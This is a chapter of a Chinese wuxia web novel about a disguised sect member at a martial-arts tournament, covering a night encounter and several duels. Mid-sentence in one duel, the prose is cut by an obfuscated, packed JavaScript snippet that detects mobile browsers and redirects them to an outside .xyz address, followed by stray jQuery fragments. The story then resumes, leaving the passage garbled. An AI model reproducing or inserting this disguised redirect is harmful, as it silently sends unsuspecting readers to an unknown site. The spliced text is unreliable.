第六十三章以存其身也
(蔻燎)
焚煜星目透亮,面容白嫩,五官精致,一看就是养尊处优惯了的王族。想必参加武林大会,就是图个乐子,在他纸醉金迷的日子里激起一点点涟漪波动。
天下的王族大同小异,几乎都有一个特点,喜爱王权富贵,喜爱金银珠宝,喜爱管弦丝竹,喜爱才子佳人。
目下,他便是喜爱才子佳人。
天雍阁唯二的两个美人,一下子乍现在他眼前,白天就吸引了他全部的眼神,夜里一时偶遇,自是不愿意轻易放开。
搭讪,是焚煜二十年来最为刻苦的一门功夫。
他瞥瞥天雍阁二人,见对方不答一语,笑意愈盛,“初次听闻天雍阁,竟不知此门派居然是美人的聚集地,使我大开眼界,大饱眼福。颜阁主,不知你可还想多收一个徒儿?壮大天雍阁的……”
落花啼打个寒战,比个手势示意他打住,好心提醒道,“宣王殿下,我若没记错的话,你师从青史学府,乃是墨井道人的徒弟。”
“谁说习武之人只能有一个师父?此乃谬论。”
焚煜摇头晃脑,头头是道,“在焰焚国,我自小有十几位师父,有教四书五经的,有教天文地理的,有教音律舞蹈的……所以,怎会拘泥于一个武学师父呢?况且墨井道人也不会在意的。颜阁主,你考虑考虑?多我一个徒儿,又不是坏事。”
落花啼和花辞树相视一笑,红色面纱下的唇角上翘一个度,她正待想办法打发走焚煜,突听一道刺耳的兵器碰撞声,铺天盖地,响彻云霄。
三人屏息敛声,不约而同向那声音处奔去。
来到卧女山的一宽敞地域,远离了一排排院落,一棵大树下搅动纠缠着几抹身影,厮打得难分难舍,好像长在一块了。
身穿深红道袍和碧绿道袍的两名女子,手仗长剑,左右夹击着一银紫色衣袍的女子,三人斗得尘埃翩翩,枯叶蹀躞。
这三个人,落花啼再熟悉不过,饶是吓了一大跳,急得抓耳挠腮,原地跺脚。
这不是她灵暝山的两个师姐红衰与翠减,在同时攻击着哀悼山的花月阴吗?
灵暝山和哀悼山同属天相宗,却久久不睦十余载,不管是宗主还是弟子,一律见了面就打架,无法斡旋。
落花啼现在是天雍阁阁主颜辞镜,本应独善其身管好自己门派,此时不知如何插手才显得较为正常。
花辞树抱着胳膊,一脸看好戏的样子,收到落花啼的眸光,他撇嘴道,“你的师姐从前欺负你,我才不想出手呢。”他还记得红衰翠减借口教落花啼习武,实际暴打落花啼一下午的事情。
其实明眼人都能看出,红衰翠减合起来打花月阴都颇为吃力,花月阴虽然得顾前顾后,但始终能保持体力和她们打上几个来回,不见一点颓败姿态。
红衰瞪着花月阴,一剑劈去,斥道,“月阴,有病!”
翠减附和,恨言道,“月阴,阴险!”
花月阴轻轻松松接下二人的招势,啐一口唾沫,反唇相讥,“呸!你们两个别狗咬人,方才不是你们先出手偷袭的吗?有本事别二对一!有病的是你们,阴险的也是你们!”
“伶牙!”
“利齿!”
“你们,笨口,拙舌!哈哈哈哈!”花月阴学着红衰翠减说话的语气,有模有样的,气得红翠二人脸色铁青,手上力道涨了几分。
花月阴一脚踢开猛冲上来的红衰,翻身跳上一棵树横倒的树干上,蹲着身,俯视道,“好了,不来了不来了,明儿在擂台上正儿八经地打吧。现在白白浪费气力,不值当。”
她冉冉笑道,“你们别瞪着我,打不过就是打不过,别耍赖啊!哦,你们看见落花啼了吗?我告诉她过来参加武林大会,她分明答应了,我找了她一天也没找着人。”
红衰翠减在树下恨得咬牙切齿,强行按下怒火,插-剑入鞘,抬目看向花月阴洋洋得意的脸庞,迸出两个字,“不知!”
“你们是她的师姐,何以不关心她呢?这师姐当得也忒自私了。”
红衰冷冰冰道,“她是,曲朝,皇室。”
翠减细眉捻死,“关我,屁事!”
落花啼一听花月阴喊出自己的名字,心口骤慌,怔了怔,反应过来脸上戴了面纱,表情逐渐归于平静,镇定自若。
树上的花月阴目力极好,一瞬就扫见了落花啼,花辞树,焚煜的身形,一跟头跃下,三步并两步跑过来。“哐”的把剑捅-在泥土里,上下打量落花啼,好奇道,“咦,天雍阁阁主,你半夜也出来散步啊?”
落花啼微微含笑,低声道,“早闻天相宗高手如云,将才一见,果然都是出类拔萃,超凡脱俗的人才。”
花月阴盯了落花啼良久,又盯了花辞树须臾,轻笑道,“阁主谬赞,依我看,颜阁主才是人中龙凤,居然敢带一个徒弟前来参加武林大会。我啊,佩服佩服!”
焚煜瞧见花月阴,眼放金光,喜笑颜开道,“你便是天相宗的花月阴?人如其名,漂亮飒爽,不知可否拜你为师……”
他话未说罢,花月阴一巴掌拍开他,挤到落花啼,花辞树中间,神神叨叨道,“那个,我问一问一件事,你们要如实回答。”
“……什么?不妨坦言。”落花啼有一刻汗如雨下了,抚了抚额心。
花月阴神采飞扬,掀唇笑道,“你们是不是师徒恋?大晚上偷偷出来赏月,浓情蜜意的。不要害臊,我都看出来了,不然你们怎么一个叫‘花辞树’,一个叫‘颜辞镜’呢?”
“……”
“……”
落花啼与花辞树四目相望,一时之间啼笑皆非,无言以对。
.
第二日,复赛,和第一天的预赛的规则相差无几。只不过多了各门宗主上场,威力更胜,难度更大。
复赛之时,每场通过抽签的方式,决定一对一比武的人。
第一场,曲朝二皇子曲纭边和狡兔窟宗主舟自横登台打擂,比试高低。
曲纭边看着手里的竹签,脸黑了一大片,他自幼善武,在曲朝皇宫算是横着走的一类人,但是让他和一门宗主对抗打斗,他也是拿不准的。心腑的压力宛如千斤顶,迫得他喘不过气。
碍于颜面,他假装面不改色,拎剑翻上十米高的擂台,炯炯有神地注视着对面的舟自横。
青史学府作为主持者,已有门人点上香计了时辰。
曲纭边抱拳,额上青筋一抖,道,“放马过来!”
舟自横挑了挑眉,完全不把曲纭边放在眼里,答道,“二皇子如此说,那我便不客气了。”
言毕,急速奔行上前,眼露凶光,手腕旋动,天女散花般的飞镖毒针形成密不透风的厚墙,在天空划下一道弓形弧线,直直下坠。
势不可挡,无端散发一股恐怖的威压感。
曲纭边原地飞跃,嘴角一阵扭曲,手上横竖劈砍,手忙脚乱地打退了毒雨镖林,刚一歇气,腹部猛然一痛。
舟自横拳脚无眼,一举轰到曲纭边身体最柔软的地方,连打三拳,打得下方之人咬死牙关,闷哼不断。
曲纭边剑身一反,自下由上地朝其捅去,剑尖刺入舟自横的左胸,洇出薄薄血丝。
如此举动,似乎踩了舟自横内心的逆鳞,任何人触伤他的皮肉,都得付出代价,非死即伤,非死即伤!
即便曲纭边是曲朝的二皇子!
“咻咻咻!”
数枚毒镖以迅雷不及掩耳之势插在了曲纭边腹部,不出三秒,身下人寂静无声,剑只丢手而出,眼神涣散昏迷过去。
台下曲纭边的侍卫急得团团转,肝胆欲裂,马不停蹄涌上来爬擂台,捞起自家二皇子就对着舟自横怒目而视。
舟自横明白不能伤了曲纭边的性命,届时难以向戌邕皇帝交代,勉为其难从兜里摸出一瓶解药抛了过去,衣袂猎猎,兀自足下一踏擂台柱子,跳到地面,点地无声。
曲纭边吃了解药,被侍卫背着下了擂台。
周围看武的人啧啧私语,爆发一些幸灾乐祸的笑言。
曲钦寒,曲贤渠齐齐握紧了拳头,瞪一眼那些撺哄鸟乱的人群,嘲哳的声音才消退不见。
第二场抽签,轮到六皇子曲钦寒与圣童教的圣童须弥比武。
俗话说,不是冤家不聚头。
须弥等的就是这一天,不过他略微觉得可惜,没能真真正正地揍曲瑾琏那个罪魁祸首一顿,叫他吃个惨痛的教训。
擂台上,曲钦寒和须弥相看生厌,敷衍地点了点头,青史学府的门人还没点好一柱香,两人就剑拔弩张,乒乒乓乓打了起来。
修剑对峙着赤金锡杖,刮出一道道火树银花,星星迸溅。
须弥的赤金锡杖挥舞得虚影摇晃,矮小的人儿抓着一把比自己高出一半的武器
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229792|175219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却能轻松至极,每一招都砸得曲钦寒脚步后撤,躲无可躲。
须弥目泄寒芒,讥诮道,“我是侏儒吗?我是眠花宿柳的登徒子吗?六皇子,能否回答我?”
“铿!”
赤金锡杖拦腰劈向曲钦寒的修剑,剑身发出细微的碎裂声,淡淡的蛛网状在上方蔓延,忽视不了。
曲钦寒眼孔一滞,左支右绌,节节败退,僵硬道,“你是侏儒,你是登徒子。如何?听到想听的回答了吗?要是不满意,我还能再说一遍!”
“住嘴!”
须弥气怒上头,锡杖朝曲钦寒后背一贯,闷响彻耳,曲钦寒力有不逮,硬生生摔在了柱子上,随即弹回擂台中央。
嘴角隐约多了几丝血线,触目惊心。
须弥口气沉了下去,面容抖过狰狞之色,锡杖指在曲钦寒喉咙间,居高临下,眼眶充血,“曲钦寒,别以为你是曲朝的六皇子,我就不敢动你!今天我非要好好收拾你!”
曲钦寒生得高壮,腿脚修长,站直身躯比须弥高出一大截,奈何武艺不精,不是一教之主的对手,已然沦为下风,叫苦不迭。
他带着曲朝皇室那高高在上的傲气,肆意笑道,“你收拾我?圣童教不想混了吗?”
“圣童教能不能混下去,不是你说了算的!看揍!”
须弥咆哮大吼,气得鼻孔冒烟,将对曲瑾琏的怒火全部发泄在曲钦寒一人身上,锡杖重重抡下,“砰砰砰”敲核桃似的敲在曲钦寒的后背上。
仍不解气,一脚踩着曲钦寒的腰,锡杖朝着男人挺翘的臀-部打得虎虎生风,不堪入眼。
任何成年人,不管男女,都无法接受自己在众目睽睽下被一位看起来就是十岁小孩的人如此羞辱殴打。
任何人!
曲钦寒脸皮发烫,疼痛不已,咬着牙,反手拽住锡杖一拉,不料圣童早已防备,锡杖后缩,再猛然朝前一怼,“啪”的把曲钦寒挑下了擂台。
蓝衣翻飞,风声呼啸,曲钦寒狼狈地掉在了擂台下围拢过来接住他的侍卫堆里,羞愤得一口血喷了出来。
众侍卫道,“六皇子!”
曲钦寒吐掉血沫,昂头死死盯着须弥,血液染红的牙齿像石榴籽一般,分外惹目,“臭侏儒,你给我等着!”
须弥把赤金锡杖竖着摆在脚边,拍一拍屁-股蛋,又伸手扒了下眼皮做出一个杀伤力极强的鬼脸,引得高台四周观赛的各门派哄堂大笑。
至此,曲朝来的三位皇子皆被打败,输得抬不起头。
第三场抽到签的是青史学府的宗主墨井道人,还有罄竹派的宗主编梦。两人之前在曲朝举办的中秋宴上曾见过一面,私底下也常有来往,算是联络密切的两大门派的主人。
双方实力相当,都是以剑为武器,一炷香计时后,两人打了数十招,有来有回,看得一群人激动难耐。
墨井道人年岁五十有五,内功深厚,实力雄伟,并不容易制服。编梦乃三十有五,整整小了墨井道人二十岁,她虽为一门之主,但差在年轻,求胜心切,眼见着香快要化为一滩灰烬,她便急不可待下了死手。
墨井道人游刃有余,轻飘飘躲过一击,移至编梦后方,一掌把其推下擂台,折断了对方的利剑。
两门道教宗主孰赢孰败,一目了然。
青史学府的弟子们欢呼不绝,舞臂雀跃,而另一方罄竹派弟子的表情就青黑了一个度,仿佛被乌云罩了顶。
编梦豁达大度,输了也不自怨自艾,反而坦坦荡荡向墨井道人抱了一拳,一笑了之。
下一场,所抽到签的人是天雍阁阁主“颜辞镜”,比武的对象是灵暝山天相宗的大弟子红衰。
落花啼拿着竹签的手指颤抖,心道不妙,抽着谁都行,怎么抽到了天相宗自家人了?这打起来该如何收场。
她提起食指搔搔微痒的鼻梁骨,笑容僵在脸上,回头看了看高台上胳膊环抱的花辞树,无可奈何地眯眯眼仁。
花辞树朝她笑弯了迷人的眸渊,示意她无须恐慌,随心所欲,打便是了。
红衰哪有精力观察落花啼的小动作,率先上了擂台,暗红的衣袍被风儿吹得鼓胀,宛如蝴蝶曳动的翅羽,美得不可方物。
落花啼腕上搭着铁鞭千秋,飞到擂台站在红衰面前,红纱蹁跹,耳铛轻荡,她一摔鞭子在地,扬起漫漫尘埃。
招手道,“一决高下,请全力以赴!”